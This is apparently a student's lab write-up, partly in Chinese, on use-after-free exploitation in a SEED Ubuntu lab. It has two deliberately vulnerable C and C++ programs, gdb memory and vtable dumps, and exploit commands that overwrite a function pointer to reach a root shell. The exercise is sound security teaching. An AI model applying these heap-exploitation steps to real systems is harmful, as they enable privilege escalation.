

2020 Spring UAF Lab

task1

Q&A

```
1  #include <stdio.h>
2
3  typedef struct s{
4      int id;
5      char name[20];
6      void (*clean)(void *);
7  }VULNSTRUCT;
8
9  void *cleanMemory(void *mem){
10     free(mem);
11 }
12 int main(int argc, char *argv[]){
13     void *ptr1;
14     VULNSTRUCT *vuln=malloc(256);
15
16     fflush(stdin);
17     printf("Enter id num: ");
18     scanf("%d", &vuln->id);
19     printf("Enter your name: ");
20     scanf("%s", vuln->name);
21
22     vuln->clean=cleanMemory;
23
24     if(vuln->id>100){
25         vuln->clean(vuln);
26     }
27
28     ptr1=malloc(256);
29     strcpy(ptr1, argv[1]);
30
31     free(ptr1);
32     vuln->clean(vuln);
33
34     return 0;
35 }
```

uaf.c

Symbol Name (Alt+L)

include <stdio.h>

s

id

name

clean

VULNSTRUCT

cleanMemory

main

```
1: #include <stdio.h>
2:
3: typedef struct S{
4:     int id;
5:     char name[20];
6:     void (*clean)(void *);
7: }VULNSTRUCT;
8:
9: void *cleanMemory(void *mem){
10:     free(mem);
11: }
12: int main(int argc, char *argv[]){
13:     void *ptr1;
14:     VULNSTRUCT *vuln=malloc(256);
15:
16:     fflush(stdin);
17:     printf("Enter id num: ");
18:     scanf("%d", &vuln->id);
19:     printf("Enter your name: ");
20:     scanf("%s", vuln->name);
21:
22:     vuln->clean=cleanMemory;
23:
24:     1 if(vuln->id>100){
25:         vuln->clean(vuln);
26:     }
27:
28:     2 ptr1=malloc(256);
29:     strcpy(ptr1, argv[1]);
30:
31:     free(ptr1);
32:     vuln->clean(vuln);
33:
34:     3 return 0;
35: } « end main »
36:
37:
```

1* 释放

2* 申请同样大小的空间

3* 悬停指针执行

```
gdb-peda$ r $(python -c "print '\x90'*24+'\xaa\xaa\xaa\xaa'")
Enter id num: 200
Enter your name: 123213
```

Program received signal SIGSEGV, Segmentation fault.

输入24个pad，再将一个4个字节的数据测

```
[-----registers-----
EAX: 0x804b008 --> 0x90909090
EBX: 0xb7fc4ff4 --> 0x1a4d7c
ECX: 0x20ef8
EDX: 0xaaaaaaaa
ESI: 0x0
EDI: 0x0
EBP: 0xbfffe28 --> 0x0
ESP: 0xbfffeefc --> 0x80485ff (<main+216>:      mov     eax,0
EIP: 0xaaaaaaaa
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT)

[-----code-----
Invalid instruction
[-----stack-----
0000| 0xbfffe28 --> 0x804b008 --> 0x90909090
0004| 0xbfffe2c --> 0xbfffe15c --> 0x90909090
0008| 0xbfffe30 --> 0xb7fc4ff4 --> 0x1a4d7c
0012| 0xbfffe34 --> 0xb7e53225 (<__cxa_atexit+53>:      add
0016| 0xbfffe38 --> 0xb7fed280 (push     ebp)
0020| 0xbfffe3c --> 0x0
0024| 0xbfffe40 --> 0x0
0028| 0xbfffe44 --> 0x804b008 --> 0x90909090

[-----
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xaaaaaaaa in ?? ()
```

这里查看到刚好是0xaaaaaaaa出错，可以猜测到vuln->clean函数指针地址无效而导致的错误

```
[07/02/2020 02:41] seed@ubuntu:~/Desktop/lab23$ ./get
Egg address: 0xbfffe295 [07/02/2020 02:41] seed@ubuntu:~/Desktop/lab23$
[07/02/2020 02:42] seed@ubuntu:~/Desktop/lab23$ ./uaf $(python -c "print '\x90'*24+'\x95\xff\xff\xbf'")
Enter id num: 200
Enter your name: 12312312
# id
uid=0(root) gid=1000(seed) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)
#
```

将shellcode导入到环境变量，将后面的vuln->clean的地址修改成环境变量的地址，拿到root权限的shell

task2

```
1 #include <fcntl.h>
2 #include <iostream>
3 #include <cstring>
4 #include <cstdlib>
5 #include <unistd.h>
6 using namespace std;
7
8 class Human{
9 private:
```

```

10         virtual void give_shell(){
11             system("/bin/sh");
12         }
13     protected:
14         int age;
15         string name;
16     public:
17         virtual void introduce(){
18             cout << "My name is " << name << endl;
19             cout << "I am " << age << " years old" << endl;
20         }
21 };
22
23 class Man: public Human{
24     public:
25         Man(string name, int age){
26             this->name = name;
27             this->age = age;
28         }
29         virtual void introduce(){
30             Human::introduce();
31             cout << "I am a nice guy!" << endl;
32         }
33 };
34
35 class Woman: public Human{
36     public:
37         Woman(string name, int age){
38             this->name = name;
39             this->age = age;
40         }
41         virtual void introduce(){
42             Human::introduce();
43             cout << "I am a cute girl!" << endl;
44         }
45 };
46
47 int main(int argc, char* argv[]){
48     Human* m = new Man("Jack", 25);
49     Human* w = new Woman("Jill", 21);
50
51     size_t len;
52     char* data;
53     unsigned int op;
54     while(1){
55         cout << "1. use\n2. after\n3. free\n";
56         cin >> op;
57
58         switch(op){
59             case 1:
60                 m->introduce();
61                 w->introduce();
62                 break;
63             case 2:
64                 len = atoi(argv[1]);
65                 data = new char[len];
66                 read(open(argv[2], O_RDONLY), data, len);
67                 cout << "your data is allocated" << endl;

```

```

68         break;
69     case 3:
70         delete m;
71         delete w;
72         break;
73     default:
74         break;
75     }
76 }
77
78 return 0;
79 }

```

```

0xbffdf000 0xc0000000 rw-p [stack]
gdb-peda$ x/100xw 0x0804c000
0x00000000 0x00000019 0x00000004 0x00000004
0x804c010: 0x00000000 0x6b63614a 0x00000000 0x00000011
0x804c020: 0x08049170 0x00000019 0x0804c014 0x00000019
0x804c030: 0x00000004 0x00000004 0x00000000 0x6c6c694a
0x804c040: 0x00000000 0x00000011 0x08049160 0x00000015
0x804c050: 0x0804c03c 0x00020fb1 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000

```

```

1 >>> "Jack".encode('hex')
2 '4a61636b'

```

就是men的name

```

gdb-peda$ x/50xw 0x08049160
0x8049160 <_ZTV5Woman+8>: 0x08048dfc 0x08048fbc 0x00000000 0x080491a4
0x8049170 <_ZTV3Man+8>: 0x08048dfc 0x08048f30 0x00000000 0x080491b8
0x8049180 <_ZTV5Human+8>: 0x08048dfc 0x08048e10 0x6d6f5735 0x000006e1
0x8049190 <_ZTI5Woman>: 0x0804b208 0x00000000 0x6e614d33
0x80491a0 <_ZTS3Man+4>: 0x00000000 0x00000000 0x080491b8
0x80491b0 <_ZTS5Human>: 0x6d754835 0x00000000 0x080491b0
0x80491c0: 0x3b031b01 0x00000080 0x00000000 0x00000000
0x80491d0: 0x0000009c 0xfffff974 0x000001fc 0xffffffe0
0x80491e0: 0x00000220 0xfffffc20 0x00000240 0xfffffc3c
0x80491f0: 0x000000c0 0xfffffc50 0x000000e0 0xfffffcda
0x8049200: 0x00000104 0xfffffcfa 0x00000124 0xfffffd1a
0x8049210: 0x00000164 0xfffffd70 0x00000190 0xfffffda8
0x8049220: 0x000001b0 0xfffffdfe
gdb-peda$

```

他这里应该去调用0x08048fbc Women的introduce函数，

```

loc_8048D2E:
mov     eax, [ebp+argv]
add     eax, 4
mov     eax, [eax]
mov     [esp], eax      ; nptr
call    _atoi
mov     [esp+24h], eax
mov     eax, [esp+24h]
mov     [esp], eax      ; unsigned int |
call    __Znaj          ; operator new[](uint)
mov     [esp+28h], eax
mov     eax, [ebp+argv]
add     eax, 8
mov     eax, [eax]
mov     dword ptr [esp+4], 0 ; oflag
mov     [esp], eax      ; file
call    _open
mov     edx, [esp+24h]
mov     [esp+8], edx    ; nbytes
mov     edx, [esp+28h]
mov     [esp+4], edx    ; buf
mov     [esp], eax      ; fd
call    _read
mov     dword ptr [esp+4], offset aYourDataIsAllo ; "your data is allocated"
mov     dword ptr [esp], offset _ZSt4cout@@GLIBCXX_3_4
call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_tra
mov     dword ptr [esp+4], offset __ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ ;
mov     [esp], eax
call    __ZNSolsEPFRSoS_E ; std::ostream::operator<< (std::ostream & (*) (std::ostream &))
imn     short loc_8048D2F

```

仔细研究了汇编代码，这里将 **eax+4** 然后用 **mov** 指令将 **eax** 指向的值传给 **eax**，完成了虚函数表的翻译

最终拿到一个shell，但是shell并不是root shell。

```

[07/02/2020 05:18] seed@ubuntu:~/Desktop/lab23$ vim gen.c
[07/02/2020 05:19] seed@ubuntu:~/Desktop/lab23$ gcc gen.c
[07/02/2020 05:19] seed@ubuntu:~/Desktop/lab23$ ./a.out
[07/02/2020 05:19] seed@ubuntu:~/Desktop/lab23$ ./uaf2 12 badfile
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
padmin),124(sambashare),130(wireshark),1000(seed)
#

```

总结:

task2 个人做到时候没有用到栈可执行。所以也就没拿到带有root权限的shell。如果将shellcode藏入栈中，然后将地址写入到introduce虚函数的表中，应该可以获取root权限的shell。

必须释放两次，因为fastbin是链表的头插。